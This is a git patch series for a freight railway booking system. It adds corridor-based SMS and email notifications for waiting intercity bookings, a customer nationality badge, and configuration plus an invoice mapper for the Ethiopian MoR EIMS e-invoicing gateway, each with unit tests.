schedule's transition). void this.notifyWindowOpened(schedule); + // Intercity rides along whatever train passes, export included. + void this.notifyIntercityCorridorScheduled(schedule); this.logger.log(`Export booking window opened for schedule ${schedule.id}`); return true; } @@ -365,7 +367,10 @@ export class BookingWindowService implements OnModuleInit { } // Only announce the first opening of the day; reopen cycles don't re-notify. // Fire-and-forget so a slow SMS/email gateway never stalls the tick loop. - if (schedule.bookingCycleNo === 1) void this.notifyWindowOpened(schedule); + if (schedule.bookingCycleNo === 1) { + void this.notifyWindowOpened(schedule); + void this.notifyIntercityCorridorScheduled(schedule); + } this.logger.log( `[WINDOW] ${schedule.id} PRE_WINDOW→OPEN — booking window opened ` + `(cycle ${schedule.bookingCycleNo})`, @@ -710,6 +715,149 @@ export class BookingWindowService implements OnModuleInit { } } + /** + * SMS + email + inbox the owner of every waiting intercity booking whose + * corridor lies on this schedule's route. + * + * Intercity (DOMESTIC) bookings carry no date — the customer books a corridor + * and the cargo waits in a pool until staff ride it along a passing + * import/export train (see IntercityService). Until now that wait was silent: + * `notifyWindowOpened` only reaches companies holding an ACTIVE contract whose + * `contract_routes` match the train's exact origin→destination, and an + * intercity booking is neither contracted nor necessarily end-to-end. + * + * Corridor match mirrors `IntercityService.corridorOnRoute` exactly — both + * yards on the route with origin strictly before destination, falling back to + * the train's own origin/destination when the route has fewer than two + * milestones — so nobody is told about a train they can never be placed on. + */ + private async notifyIntercityCorridorScheduled( + schedule: TrainSchedule, + ): Promise { + try { + const rows: Array<{ + bookingId: string; + companyId: string; + phone: string | null; + email: string | null; + corridor: string; + }> = await this.dataSource.query( + // `stops` is the schedule's stop list, with the two-stop + // origin→destination pseudo-route as the legacy fallback — the same + // shape IntercityService.milestoneSequenceOf builds in TypeScript. + `WITH ms AS ( + SELECT yard_id, sequence_no + FROM freight.route_milestones + WHERE route_id = $1 AND deleted_at IS NULL + ), + stops AS ( + SELECT yard_id, sequence_no FROM ms WHERE (SELECT count(*) FROM ms) >= 2 + UNION ALL + SELECT v.yard_id, v.seq + FROM (VALUES ($2::uuid, 1), ($3::uuid, 2)) AS v(yard_id, seq) + WHERE (SELECT count(*) FROM ms) < 2 + ) + SELECT DISTINCT + b.id AS "bookingId", + b.company_id AS "companyId", + ${companyNotifyPhoneExpr('co')} AS phone, + COALESCE(co.email, co.general_manager_email) AS email, + COALESCE(oy.label, oy.code) || ' to ' || + COALESCE(dy.label, dy.code) AS corridor + FROM freight.bookings b + JOIN stops o ON o.yard_id = b.origin_yard_id + JOIN stops d ON d.yard_id = b.destination_yard_id + AND d.sequence_no > o.sequence_no + JOIN freight.companies co ON co.id = b.company_id AND co.deleted_at IS NULL + JOIN freight.yards oy ON oy.id = b.origin_yard_id + JOIN freight.yards dy ON dy.id = b.destination_yard_id + ${primaryContactUserJoin('co')} + WHERE b.deleted_at IS NULL + AND b.trade_direction = 'DOMESTIC' + AND b.train_schedule_id IS NULL + -- Same waiting pool IntercityService.findWaitingIntercityBookings + -- draws candidates from: commercial paid/executed, government approved. + AND ((b.is_government = false AND b.status IN ('FULLY_EXECUTED', 'PAID')) + OR (b.is_government = true AND b.status = 'APPROVED')) + -- Once per booking, not once per train. A booking can sit in the + -- pool for weeks while several trains open a window on its corridor, + -- and "trains run your corridor, you are queued" is the same message + -- every time. The inbox row written below is the marker. + -- ponytail: unindexed jsonb probe over freight.notifications; add a + -- partial index on (data->>'intercityCorridorBookingId') if the + -- table grows enough for this to show up in the tick loop. + AND NOT EXISTS ( + SELECT 1 FROM freight.notifications n + WHERE n.data->>'intercityCorridorBookingId' = b.id::text)`, + [schedule.routeId, schedule.originStationId, schedule.destinationStationId], + ); + if (!rows.length) return; + + const depart = schedule.scheduledDepartureDate.toLocaleDateString('en-GB', { + timeZone: BATCH_TIMEZONE, + }); + const msgFor = (corridors: string[]) => + `A train is scheduled on your intercity corridor ${corridors.join(', ')}, ` + + `departing ${depart}. EDR will confirm once your cargo is placed on a train.`; + + // One inbox item per booking (its `data` is the once-per-booking marker + // the query above reads), but one SMS/email per company — a customer with + // three waiting bookings gets one message naming all three corridors. + const byCompany = new Map< + string, + { phone: string | null; email: string | null; corridors: string[] } + >(); + for (const row of rows) { + const entry = byCompany.get(row.companyId) ?? { + phone: row.phone, + email: row.email, + corridors: [], + }; + if (!entry.corridors.includes(row.corridor)) entry.corridors.push(row.corridor); + byCompany.set(row.companyId, entry); + + await this.inbox.notify({ + recipients: { companyId: row.companyId }, + audience: NotificationAudience.PORTAL, + type: NotificationType.SCHEDULE_UPDATE, + title: 'Train scheduled on your corridor', + body: msgFor([row.corridor]), + link: `/bookings/${row.bookingId}`, + data: { + intercityCorridorBookingId: row.bookingId, + trainScheduleId: schedule.id, + }, + }); + } + + for (const [companyId, entry] of byCompany) { + const msg = msgFor(entry.corridors); + if (entry.phone) { + await this.notifications + .directSend('sms', entry.phone, msg) + .catch((e) => + this.logger.warn(`Intercity corridor SMS failed: ${(e as Error).message}`), + ); + } + if (entry.email) { + await this.notifications + .directSend('email', entry.email, msg) + .catch((e) => + this.logger.warn(`Intercity corridor email failed: ${(e as Error).message}`), + ); + } + this.logger.log( + `Notified company ${companyId} of ${entry.corridors.length} intercity ` + + `corridor(s) served by schedule ${schedule.id}`, + ); + } + } catch (err) { + this.logger.warn( + `notifyIntercityCorridorScheduled failed for ${schedule.id}: ${(err as Error).message}`, + ); + } + } + private async setPhase( schedule: TrainSchedule, patch: Partial< diff --git a/apps/edr-freight-api/src/modules/train-scheduling/intercity-corridor-notify.spec.ts b/apps/edr-freight-api/src/modules/train-scheduling/intercity-corridor-notify.spec.ts new file mode 100644 index 000000000..3b6648c19 --- /dev/null +++ b/apps/edr-freight-api/src/modules/train-scheduling/intercity-corridor-notify.spec.ts @@ -0,0 +1,110 @@ +import { BookingWindowService } from './booking-window.service'; +import type { TrainSchedule } from '../train-schedules/entities/train-schedule.entity'; + +/** + * Intercity corridor announcement: when a train's booking window opens, every + * customer with a waiting intercity booking on that corridor is told over SMS, + * email and the portal inbox. + * + * The corridor SQL itself is EXPLAIN-validated against the dev database; what + * this covers is the fan-out shape around it — one inbox row per booking + * (that row's `data` is the once-per-booking marker the query dedupes on) but + * one SMS/email per company, naming every corridor at once. + */ +describe('BookingWindowService — intercity corridor announcement', () => { + const schedule = { + id: 'sched-1', + routeId: 'route-1', + originStationId: 'yard-o', + destinationStationId: 'yard-d', + scheduledDepartureDate: new Date('2026-08-01T06:00:00.000Z'), + } as unknown as TrainSchedule; + + const build = (rows: unknown[]) => { + const query = jest.fn().mockResolvedValue(rows); + const directSend = jest.fn().mockResolvedValue(undefined); + const notify = jest.fn().mockResolvedValue(undefined); + const service = new BookingWindowService( + { query, getRepository: () => ({ update: jest.fn() }) } as never, + { findById: jest.fn(), findAll: jest.fn() } as never, + {} as never, + {} as never, + { directSend } as never, + { notify } as never, + { emitPhase: jest.fn() } as never, + ); + const run = (): Promise => + ( + service as unknown as { + notifyIntercityCorridorScheduled: (s: TrainSchedule) => Promise; + } + ).notifyIntercityCorridorScheduled(schedule); + return { run, query, directSend, notify }; + }; + + it('sends one inbox item per booking and one SMS/email per company', async () => { + const { run, directSend, notify } = build([ + { + bookingId: 'bk-1', + companyId: 'co-1', + phone: '+251900000001', + email: 'ops@co1.example', + corridor: 'Dire Dawa to Adama', + }, + { + bookingId: 'bk-2', + companyId: 'co-1', + phone: '+251900000001', + email: 'ops@co1.example', + corridor: 'Adama to Mojo', + }, + ]); + + await run(); + + // Per booking: the marker keeps the next train on this corridor from + // re-announcing the same thing to the same booking. + expect(notify).toHaveBeenCalledTimes(2); + expect(notify.mock.calls.map((c) => c[0].data.intercityCorridorBookingId)).toEqual([ + 'bk-1', + 'bk-2', + ]); + expect(notify.mock.calls[0][0].recipients).toEqual({ companyId: 'co-1' }); + expect(notify.mock.calls[0][0].link).toBe('/bookings/bk-1'); + + // Per company: two bookings, one SMS and one email, both corridors named. + expect(directSend).toHaveBeenCalledTimes(2); + const [smsChannel, smsTo, smsBody] = directSend.mock.calls[0]; + expect([smsChannel, smsTo]).toEqual(['sms', '+251900000001']); + expect(smsBody).toContain('Dire Dawa to Adama, Adama to Mojo'); + expect(smsBody).toContain('01/08/2026'); + expect(directSend.mock.calls[1][0]).toBe('email'); + }); + + it('sends nothing when no waiting booking rides this corridor', async () => { + const { run, directSend, notify } = build([]); + + await run(); + + expect(notify).not.toHaveBeenCalled(); + expect(directSend).not.toHaveBeenCalled(); + }); + + it('skips the channels a company has no contact for', async () => { + const { run, directSend, notify } = build([ + { + bookingId: 'bk-3', + companyId: 'co-2', + phone: null, + email: 'ops@co2.example', + corridor: 'Dire Dawa to Adama', + }, + ]); + + await run(); + + expect(notify).toHaveBeenCalledTimes(1); + expect(directSend).toHaveBeenCalledTimes(1); + expect(directSend.mock.calls[0][0]).toBe('email'); + }); +}); From c9bb105e9420ec68b2d2a86058646a13f55b631e Mon Sep 17 00:00:00 2001 From: Nathnael Date: Fri, 7 Aug 2026 12:54:00 +0000 Subject: [PATCH 11/18] feat: add nationality indicator to the customer --- .../src/components/customers/badges.tsx | 26 +++++++++++++++++++ .../src/components/customers/index.ts | 1 + .../pages/customers/CustomerDetailPage.tsx | 8 ++++++ .../src/pages/customers/CustomersPage.tsx | 2 ++ .../backoffice/src/types/customer.ts | 4 +++ 5 files changed, 41 insertions(+) diff --git a/apps/edr-freight-web/backoffice/src/components/customers/badges.tsx b/apps/edr-freight-web/backoffice/src/components/customers/badges.tsx index 046493b0f..edcc4a517 100644 --- a/apps/edr-freight-web/backoffice/src/components/customers/badges.tsx +++ b/apps/edr-freight-web/backoffice/src/components/customers/badges.tsx @@ -16,6 +16,7 @@ import { FREIGHT_PERMS, hasPermission } from "@/lib/permissions"; import { api } from "@/services/api"; import type { + CompanyNationality, CompanyProfile, CompanyStatus, CompanyType, @@ -88,6 +89,31 @@ export function CompanyTypeBadge({ type }: { type: CompanyType }) { ); } +const NATIONALITY_COLOR: Record = { + ethiopian: "edr-green", + foreign: "blue", +}; + +export function CompanyNationalityBadge({ + nationality, +}: { + nationality?: CompanyNationality | null; +}) { + if (!nationality) return null; + return ( + + {humanize(nationality)} + + ); +} + /** * Profile chips for a company row: one chip per role (Importer / Exporter / …) * carrying its reference code. Caps at three (a company has at most three diff --git a/apps/edr-freight-web/backoffice/src/components/customers/index.ts b/apps/edr-freight-web/backoffice/src/components/customers/index.ts index 1ccd29f41..81f25fcb2 100644 --- a/apps/edr-freight-web/backoffice/src/components/customers/index.ts +++ b/apps/edr-freight-web/backoffice/src/components/customers/index.ts @@ -1,5 +1,6 @@ export { BookingStatusBadge, + CompanyNationalityBadge, CompanyStatusBadge, CompanyTypeBadge, InvoiceStatusBadge, diff --git a/apps/edr-freight-web/backoffice/src/pages/customers/CustomerDetailPage.tsx b/apps/edr-freight-web/backoffice/src/pages/customers/CustomerDetailPage.tsx index a9e56a6d8..f31ce02e9 100644 --- a/apps/edr-freight-web/backoffice/src/pages/customers/CustomerDetailPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/customers/CustomerDetailPage.tsx @@ -812,6 +812,14 @@ export default function CustomerDetailPage() { } /> + diff --git a/apps/edr-freight-web/backoffice/src/pages/customers/CustomersPage.tsx b/apps/edr-freight-web/backoffice/src/pages/customers/CustomersPage.tsx index 34f90ffff..815615a1b 100644 --- a/apps/edr-freight-web/backoffice/src/pages/customers/CustomersPage.tsx +++ b/apps/edr-freight-web/backoffice/src/pages/customers/CustomersPage.tsx @@ -31,6 +31,7 @@ import { useMemo, useState } from "react"; import { useNavigate } from "react-router-dom"; import { + CompanyNationalityBadge, CompanyStatusBadge, ProfileChips, formatDate, @@ -149,6 +150,7 @@ export default function CustomersPage() { {c.name} + TIN {c.tin} diff --git a/apps/edr-freight-web/backoffice/src/types/customer.ts b/apps/edr-freight-web/backoffice/src/types/customer.ts index ed77307f9..cd2d67842 100644 --- a/apps/edr-freight-web/backoffice/src/types/customer.ts +++ b/apps/edr-freight-web/backoffice/src/types/customer.ts @@ -21,6 +21,9 @@ export type CompanyStatus = "active" | "pending" | "suspended" | "blacklisted"; /** Mirrors backend `CompanyKind` — commercial customer vs. government entity. */ export type CompanyKind = "commercial" | "government"; +/** Mirrors backend `CompanyNationality`. */ +export type CompanyNationality = "ethiopian" | "foreign"; + /** Mirrors backend `ProfileType` (the role a company plays). */ export type ProfileType = | "importer" @@ -207,6 +210,7 @@ export interface Company { vatNumber?: string | null; fanNumber?: string | null; country: string; + nationality?: CompanyNationality | null; address?: string | null; phone?: string | null; email?: string | null; From 2644d5e52d3437ccdd015a03ed3ce435b4ce3cf1 Mon Sep 17 00:00:00 2001 From: Hagernesh Date: Fri, 7 Aug 2026 11:42:29 +0000 Subject: [PATCH 12/18] feat(eims): add invoice mapper and signed EIMS transport Map EDR invoices onto the MoR EIMS /v1/register document and add the cryptographic transport needed to talk to core.mor.gov.et. Mapper: DTOs mirror the supplied Postman collection section by section. Tax is resolved per line via a caller-supplied resolver and throws when unresolved -- the app models no tax at all (invoice.taxAmount is always 0, invoice_lines and the rate catalogue carry no fiscal columns), so a zero-rated default would assert a tax position the codebase cannot support. Seller identity, document number, counters and previous IRN are passed in explicitly; the mapper stays pure. Transport: config, credential loading, RSA-SHA512 signing and /auth/login with an in-memory token cache. Signing reproduces the process that produced a working live token -- compact JSON of the inner request only, exact UTF-8 bytes, base64 signature, and base64 of the certificate file's exact bytes with no parsing or re-encoding. Concurrent callers share one login via an in-flight promise. Refresh is deliberately unimplemented: the collection shows an unsigned refresh body but also ships unsigned examples of calls that do require signing, so an expired token re-logs in instead. Errors normalise to EimsApiException carrying only the gateway's own error fields; secrets, signature, certificate and tokens never reach logs. Key and certificate file patterns are gitignored. Nothing calls EIMS automatically and no invoice entity, migration or UI is touched. Co-Authored-By: Claude Opus 5 --- .gitignore | 9 + apps/edr-freight-api/.env.example | 53 +++ apps/edr-freight-api/package.json | 3 +- apps/edr-freight-api/src/app.module.ts | 4 + .../edr-freight-api/src/config/eims.config.ts | 80 ++++ .../billing/eims-invoice.mapper.spec.ts | 214 +++++++++++ .../modules/billing/eims-invoice.mapper.ts | 362 ++++++++++++++++++ .../modules/eims/eims-auth.service.spec.ts | 190 +++++++++ .../src/modules/eims/eims-auth.service.ts | 116 ++++++ .../src/modules/eims/eims-client.service.ts | 67 ++++ .../modules/eims/eims-credentials.provider.ts | 77 ++++ .../modules/eims/eims-signer.service.spec.ts | 118 ++++++ .../src/modules/eims/eims-signer.service.ts | 37 ++ .../src/modules/eims/eims.errors.ts | 89 +++++ .../src/modules/eims/eims.module.ts | 19 + .../src/modules/eims/eims.types.ts | 46 +++ .../edr-freight-api/src/scripts/eims-login.ts | 40 ++ 17 files changed, 1523 insertions(+), 1 deletion(-) create mode 100644 apps/edr-freight-api/src/config/eims.config.ts create mode 100644 apps/edr-freight-api/src/modules/billing/eims-invoice.mapper.spec.ts create mode 100644 apps/edr-freight-api/src/modules/billing/eims-invoice.mapper.ts create mode 100644 apps/edr-freight-api/src/modules/eims/eims-auth.service.spec.ts create mode 100644 apps/edr-freight-api/src/modules/eims/eims-auth.service.ts create mode 100644 apps/edr-freight-api/src/modules/eims/eims-client.service.ts create mode 100644 apps/edr-freight-api/src/modules/eims/eims-credentials.provider.ts create mode 100644 apps/edr-freight-api/src/modules/eims/eims-signer.service.spec.ts create mode 100644 apps/edr-freight-api/src/modules/eims/eims-signer.service.ts create mode 100644 apps/edr-freight-api/src/modules/eims/eims.errors.ts create mode 100644 apps/edr-freight-api/src/modules/eims/eims.module.ts create mode 100644 apps/edr-freight-api/src/modules/eims/eims.types.ts create mode 100644 apps/edr-freight-api/src/scripts/eims-login.ts diff --git a/.gitignore b/.gitignore index 63784b865..8fa8bca90 100644 --- a/.gitignore +++ b/.gitignore @@ -53,3 +53,12 @@ RUNNING_LOCALLY.md # Generated per-shard compose file for the integration suite (it.mjs). integration/.it-shards.yaml +# private keys / certificates (EIMS INSA credentials and anything like them) — never commit +*.key +*.pem +*.pem.txt +*.p12 +*.pfx +*.crt +secrets/ +certs/ diff --git a/apps/edr-freight-api/.env.example b/apps/edr-freight-api/.env.example index 96af26034..a11b98520 100644 --- a/apps/edr-freight-api/.env.example +++ b/apps/edr-freight-api/.env.example @@ -126,3 +126,56 @@ EMAIL_QUEUE=email_queue # Shared secret for service-to-service calls (payment microservice <-> freight). # Required at boot; set ALLOW_UNAUTH_INTERNAL=true instead ONLY for local dev. SERVICE_AUTH_TOKEN=change-me + +# ── MoR EIMS e-invoicing (core.mor.gov.et) ───────────────────────────────── +# Disabled by default; every EIMS call fails fast with EIMS_NOT_CONFIGURED until enabled. +EIMS_ENABLED=false +EIMS_BASE_URL=https://core.mor.gov.et +EIMS_CLIENT_ID= +EIMS_CLIENT_SECRET= +EIMS_API_KEY= +EIMS_TIN= +# MoR-issued source-system identifiers (used once invoice registration lands) +EIMS_SYSTEM_NUMBER= +EIMS_SYSTEM_TYPE= +# Absolute paths to the INSA-issued credentials. Keep them OUTSIDE the repo; the file +# patterns are gitignored, but a path outside the working tree is safer still. +# The certificate is transmitted as base64 of this file's exact bytes — do not convert it. +EIMS_PRIVATE_KEY_PATH= +EIMS_CERTIFICATE_PATH= +# Optional tuning +EIMS_HTTP_TIMEOUT_MS=30000 +EIMS_TOKEN_SKEW_SECONDS=45 + +# ── EIMS invoice registration (required only to register invoices) ───────── +# Seller identity: EDR's own legal details are not modelled anywhere in the DB. +# Region and Wereda are MoR *codes* (e.g. 13 / 574), not names. +EIMS_SELLER_LEGAL_NAME= +EIMS_SELLER_VAT_NUMBER= +EIMS_SELLER_PHONE= +EIMS_SELLER_EMAIL= +EIMS_SELLER_REGION= +EIMS_SELLER_WEREDA= +# Optional seller address parts; sent as null when unset. +EIMS_SELLER_CITY= +EIMS_SELLER_SUBCITY= +EIMS_SELLER_HOUSE_NUMBER= +EIMS_SELLER_LOCALITY= +# Tax treatment — REQUIRES FINANCE SIGN-OFF. The application models no tax at all +# (invoice.taxAmount is always 0), so nothing here is defaulted: registration fails +# locally, naming the missing variables, until these are set. +EIMS_TAX_CODE= +EIMS_TAX_RATE_PERCENT= +EIMS_EXCISE_TAX_VALUE=0 +EIMS_INCOME_WITHHOLD_VALUE=0 +EIMS_TRANSACTION_WITHHOLD_VALUE=0 +# Document classification and payment presentation. +EIMS_TRANSACTION_TYPE=B2B +EIMS_NATURE_OF_SUPPLIES=Service +EIMS_PAYMENT_MODE=CASH +EIMS_PAYMENT_TERM=IMMIDIATE +EIMS_UNIT_DEFAULT=PCS +# MoR numeric country code for the buyer; our companies store the country name. +EIMS_BUYER_COUNTRY_CODE= +EIMS_CASHIER_NAME= +EIMS_SALESPERSON_NAME= diff --git a/apps/edr-freight-api/package.json b/apps/edr-freight-api/package.json index c4837c8a7..fb6a0bd31 100644 --- a/apps/edr-freight-api/package.json +++ b/apps/edr-freight-api/package.json @@ -37,7 +37,8 @@ "iam:migration:revert": "pnpm run iam:typeorm:cli migration:revert", "iam:migration:show": "pnpm run iam:typeorm:cli migration:show", "migration:run": "nest build && node dist/scripts/migrate.js", - "script": "ts-node -r tsconfig-paths/register src/scripts/main.ts" + "script": "ts-node -r tsconfig-paths/register src/scripts/main.ts", + "eims:login": "ts-node -r tsconfig-paths/register src/scripts/eims-login.ts" }, "dependencies": { "@edr/api-common": "workspace:*", diff --git a/apps/edr-freight-api/src/app.module.ts b/apps/edr-freight-api/src/app.module.ts index c4c1514ec..50dde1034 100644 --- a/apps/edr-freight-api/src/app.module.ts +++ b/apps/edr-freight-api/src/app.module.ts @@ -23,6 +23,7 @@ import databaseConfig from "./config/database.config"; import telebirrConfig from "./config/telebirr.config"; import rabbitmqConfig from "./config/rabbitmq.config"; import faydaConfig from "./config/fayda.config"; +import eimsConfig from "./config/eims.config"; import { BookingsModule } from "./modules/bookings/bookings.module"; import { ContractsModule } from "./modules/contracts/contracts.module"; @@ -84,6 +85,7 @@ import { PaidImportExportMileDemoSeeder } from "./seed/paid-import-export-mile-d //New Trains, Wagons, Container and Cargo management modules import { TrainsModule } from "./modules/trains/trains.module"; import { VerifaydaModule } from "./modules/verifayda/verifayda.module"; +import { EimsModule } from "./modules/eims/eims.module"; import { FleetHistoryModule } from "./modules/fleet-history/fleet-history.module"; import { WagonsModule } from "./modules/wagons/wagons.module"; import { ContainersModule } from "./modules/container-management/containers.module"; @@ -127,6 +129,7 @@ if (!process.env.APPLICATION_NAME) { telebirrConfig, rabbitmqConfig, faydaConfig, + eimsConfig, ], }), ScheduleModule.forRoot(), @@ -248,6 +251,7 @@ if (!process.env.APPLICATION_NAME) { InterchangeDocumentsModule, ImportOperationsModule, VerifaydaModule, + EimsModule, FleetHistoryModule, AiModule, AuditModule, diff --git a/apps/edr-freight-api/src/config/eims.config.ts b/apps/edr-freight-api/src/config/eims.config.ts new file mode 100644 index 000000000..37cbbc84b --- /dev/null +++ b/apps/edr-freight-api/src/config/eims.config.ts @@ -0,0 +1,80 @@ +import { registerAs } from "@nestjs/config"; + +/** + * Ethiopian MoR EIMS e-invoicing gateway. + * + * Disabled by default: with `EIMS_ENABLED=false` the config resolves to a stub and every EIMS + * service throws a clear error on use, so a deployment without credentials still boots. + * + * Secrets (client secret, API key) and the credential file paths live only here and are never + * logged — validation reports missing variable *names*, never their values. + */ +export interface EimsConfig { + enabled: boolean; + baseUrl: string; + clientId: string; + clientSecret: string; + apiKey: string; + tin: string; + /** MoR-issued source-system identifiers; unused until invoice registration lands. */ + systemNumber: string; + systemType: string; + /** Filesystem path to the INSA-issued RSA private key (PEM). Never leaves the server. */ + privateKeyPath: string; + /** Filesystem path to the INSA-issued certificate bundle; sent as base64 of its exact bytes. */ + certificatePath: string; + httpTimeoutMs: number; + /** Re-authenticate this many ms before the access token actually expires. */ + tokenSkewMs: number; +} + +const REQUIRED_VARS = [ + "EIMS_CLIENT_ID", + "EIMS_CLIENT_SECRET", + "EIMS_API_KEY", + "EIMS_TIN", + "EIMS_PRIVATE_KEY_PATH", + "EIMS_CERTIFICATE_PATH", +] as const; + +const positiveInt = (raw: string | undefined, fallback: number, name: string): number => { + if (raw === undefined || raw === "") return fallback; + const value = Number.parseInt(raw, 10); + if (Number.isNaN(value) || value <= 0) { + throw new Error(`${name} must be a positive integer`); + } + return value; +}; + +export default registerAs("eims", (): EimsConfig => { + const enabled = (process.env.EIMS_ENABLED ?? "false").toLowerCase() === "true"; + const baseUrl = (process.env.EIMS_BASE_URL ?? "https://core.mor.gov.et").replace(/\/+$/, ""); + const httpTimeoutMs = positiveInt(process.env.EIMS_HTTP_TIMEOUT_MS, 30_000, "EIMS_HTTP_TIMEOUT_MS"); + const tokenSkewMs = + positiveInt(process.env.EIMS_TOKEN_SKEW_SECONDS, 45, "EIMS_TOKEN_SKEW_SECONDS") * 1000; + + const base: EimsConfig = { + enabled, + baseUrl, + clientId: process.env.EIMS_CLIENT_ID ?? "", + clientSecret: process.env.EIMS_CLIENT_SECRET ?? "", + apiKey: process.env.EIMS_API_KEY ?? "", + tin: process.env.EIMS_TIN ?? "", + systemNumber: process.env.EIMS_SYSTEM_NUMBER ?? "", + systemType: process.env.EIMS_SYSTEM_TYPE ?? "", + privateKeyPath: process.env.EIMS_PRIVATE_KEY_PATH ?? "", + certificatePath: process.env.EIMS_CERTIFICATE_PATH ?? "", + httpTimeoutMs, + tokenSkewMs, + }; + + if (!enabled) return base; + + const missing = REQUIRED_VARS.filter((name) => !process.env[name]); + if (missing.length > 0) { + throw new Error( + `EIMS integration is enabled (EIMS_ENABLED=true) but the following env vars are missing: ${missing.join(", ")}`, + ); + } + return base; +}); diff --git a/apps/edr-freight-api/src/modules/billing/eims-invoice.mapper.spec.ts b/apps/edr-freight-api/src/modules/billing/eims-invoice.mapper.spec.ts new file mode 100644 index 000000000..aef4ac163 --- /dev/null +++ b/apps/edr-freight-api/src/modules/billing/eims-invoice.mapper.spec.ts @@ -0,0 +1,214 @@ +import { + EimsMapperContext, + EimsMapperInvoice, + EimsSellerDetails, + formatEimsDate, + toEimsInvoice, +} from "./eims-invoice.mapper"; + +const seller: EimsSellerDetails = { + City: null, + Email: "finance@edr.et", + HouseNumber: null, + LegalName: "Ethio-Djibouti Railway S.C.", + Locality: null, + Phone: "0911223344", + Region: "13", + SubCity: null, + Tin: "0016324478", + VatNumber: "3215840010", + Wereda: "574", +}; + +const invoice = (over: Partial = {}): EimsMapperInvoice => ({ + invoiceNumber: "INV-20260807-00042", + currency: "ETB", + issuedAt: new Date(2026, 7, 7, 9, 5, 3), + totalAmount: "11000.00", + company: { + name: "ABC Trading PLC", + tin: "0999930000", + vatNumber: "123475885858", + phone: "0912345678", + email: "buyer@abc.et", + region: "13", + zone: "SHA", + woreda: "574", + kebele: "03", + houseNo: "NEW", + country: "Ethiopia", + }, + lines: [ + { chargeType: "RAIL_FREIGHT", description: "Addis → Djibouti", quantity: "1.00", unitRate: "10000.00", amount: "10000.00" }, + { chargeType: "HAZARD_SURCHARGE", description: null, quantity: "2.00", unitRate: "500.00", amount: "1000.00", metadata: { unit: "CTR" } }, + ], + ...over, +}); + +const context = (over: Partial = {}): EimsMapperContext => ({ + systemNumber: "B0360154BA", + systemType: "SYS", + documentNumber: "24", + invoiceCounter: 7, + previousIrn: "", + cashierName: null, + salesPersonName: null, + transactionType: "B2B", + payment: { mode: "CASH", term: "IMMIDIATE" }, + taxForLine: () => ({ code: "VAT15", ratePercent: 15, exciseTaxValue: 0 }), + natureOfSupplies: "Service", + unitDefault: "PCS", + incomeWithholdValue: 0, + transactionWithholdValue: 0, + ...over, +}); + +describe("toEimsInvoice", () => { + it("emits the ten EIMS sections with the collection's field names", () => { + const doc = toEimsInvoice(invoice(), seller, context()); + + expect(Object.keys(doc)).toEqual([ + "BuyerDetails", + "DocumentDetails", + "ItemList", + "PaymentDetails", + "ReferenceDetails", + "SellerDetails", + "SourceSystem", + "TransactionType", + "ValueDetails", + "Version", + ]); + expect(doc.Version).toBe("1"); + expect(doc.DocumentDetails).toEqual({ DocumentNumber: "24", Date: "07-08-2026T09:05:03", Type: "INV" }); + expect(doc.SourceSystem.InvoiceCounter).toBe(7); + expect(doc.SellerDetails).toBe(seller); + }); + + it("maps the buyer from the company row and leaves unmodelled fields null", () => { + const doc = toEimsInvoice(invoice(), seller, context()); + + expect(doc.BuyerDetails).toEqual({ + City: null, + Email: "buyer@abc.et", + HouseNumber: "NEW", + IdNumber: null, + IdType: null, + Tin: "0999930000", + LegalName: "ABC Trading PLC", + Phone: "0912345678", + Region: "13", + Country: null, + Zone: "SHA", + Kebele: "03", + VatNumber: "123475885858", + Wereda: "574", + }); + }); + + it("applies per-line tax and totals it into ValueDetails", () => { + const doc = toEimsInvoice( + invoice(), + seller, + context({ + taxForLine: (line) => + line.chargeType === "RAIL_FREIGHT" + ? { code: "VAT15", ratePercent: 15, exciseTaxValue: 0 } + : { code: "EXEMPT", ratePercent: 0, exciseTaxValue: 50 }, + }), + ); + + expect(doc.ItemList[0]).toMatchObject({ + LineNumber: 1, + ItemCode: "RAIL_FREIGHT", + ProductDescription: "Addis → Djibouti", + Quantity: 1, + UnitPrice: 10000, + PreTaxValue: 10000, + TaxCode: "VAT15", + TaxAmount: 1500, + ExciseTaxValue: 0, + TotalLineAmount: 11500, + Unit: "PCS", + NatureOfSupplies: "Service", + HarmonizationCode: null, + }); + expect(doc.ItemList[1]).toMatchObject({ + LineNumber: 2, + ProductDescription: "HAZARD_SURCHARGE", + TaxCode: "EXEMPT", + TaxAmount: 0, + ExciseTaxValue: 50, + TotalLineAmount: 1050, + Unit: "CTR", + }); + expect(doc.ValueDetails).toEqual({ + Discount: null, + ExciseValue: 50, + IncomeWithholdValue: 0, + TaxValue: 1500, + TotalValue: 12550, + TransactionWithholdValue: 0, + InvoiceCurrency: "ETB", + }); + }); + + it("passes PreviousIrn through verbatim and defaults RelatedDocument to null", () => { + expect(toEimsInvoice(invoice(), seller, context()).ReferenceDetails).toEqual({ + PreviousIrn: "", + RelatedDocument: null, + }); + expect( + toEimsInvoice(invoice(), seller, context({ previousIrn: null, relatedDocument: "CN-9" })) + .ReferenceDetails, + ).toEqual({ PreviousIrn: null, RelatedDocument: "CN-9" }); + }); + + it("emits ExchangeRate only when supplied", () => { + expect(toEimsInvoice(invoice(), seller, context()).ValueDetails.ExchangeRate).toBeUndefined(); + + const usd = toEimsInvoice( + invoice({ currency: "USD" }), + seller, + context({ exchangeRate: 132.5 }), + ); + expect(usd.ValueDetails).toMatchObject({ InvoiceCurrency: "USD", ExchangeRate: 132.5 }); + }); + + it("honours a caller-supplied date formatter", () => { + const doc = toEimsInvoice(invoice(), seller, context({ formatDate: () => "2026-08-07T09:05:03Z" })); + expect(doc.DocumentDetails.Date).toBe("2026-08-07T09:05:03Z"); + }); + + it("throws when tax treatment cannot be resolved for a line", () => { + expect(() => + toEimsInvoice( + invoice(), + seller, + context({ taxForLine: () => ({ code: "", ratePercent: 15, exciseTaxValue: 0 }) }), + ), + ).toThrow(/unresolved tax treatment for line 1/); + }); + + it("throws on a missing buyer TIN, no lines, or an unissued invoice", () => { + expect(() => toEimsInvoice(invoice({ company: null }), seller, context())).toThrow(/buyer company TIN/); + expect(() => toEimsInvoice(invoice({ lines: [] }), seller, context())).toThrow(/has no lines/); + expect(() => toEimsInvoice(invoice({ issuedAt: null }), seller, context())).toThrow(/not issued/); + }); + + it("throws when the lines do not sum to the invoice total", () => { + expect(() => toEimsInvoice(invoice({ totalAmount: "9000.00" }), seller, context())).toThrow( + /lines sum to 11000 but the invoice total is 9000/, + ); + }); + + it("throws on a non-ETB invoice with no exchange rate", () => { + expect(() => toEimsInvoice(invoice({ currency: "USD" }), seller, context())).toThrow(/needs an exchangeRate/); + }); +}); + +describe("formatEimsDate", 